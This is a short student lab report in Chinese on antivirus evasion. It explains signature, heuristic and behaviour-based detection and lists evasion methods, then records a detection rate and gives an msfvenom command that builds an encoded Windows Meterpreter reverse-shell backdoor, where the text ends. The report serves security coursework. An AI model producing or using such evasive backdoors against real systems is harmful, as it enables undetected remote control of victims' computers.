20191217 EXP3 免杀原理实践
基础问题回答
-
杀软是如何检测出恶意代码的?
基于行为的恶意软件检测:对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,相当于加入了行为监控的启发式。
利用启发式恶意软件检测:将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,有一定误报可能,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
基于特征码进行检测:杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。这些特征码一般由一个不大于64字节的字符串组成,且是只有该病毒内才出现的字符串,根据已检测出或网络上公布的病毒,对其提取特征码,记录在病毒库中,检测到程序时将程序与特征码比对即可判断是否是恶意代码。 -
免杀是做什么?
免杀就是让安插的后门不被AV软件发现,防止注入的后门在目标机器上被杀毒软件或者其他的防护软件识别并删除.
-
免杀的基本方法有哪些?
改变特征码
加壳:压缩壳 加密壳
有shellcode(像Meterpreter)
用encode进行编码
基于payload重新编译生成可执行文件
进行代码混淆
编译恶意程序时需要开启堆栈保护,降低文件大小
-
开启杀软能绝对防止电脑中恶意代码吗?
不能绝对防止。不同的杀软对不同的后门查杀力度不同,有可能你所中的恶意代码刚好无法被你电脑的杀软识别。
实践内容
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
1.1.检测直接生成的后门exe文件(实验二中的后门程序)
检出率为53/68
1.2.使用Unicode编码一次
在Kali中使用 msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.154.129 LPORT=1217 -f exe > backdoor1.exe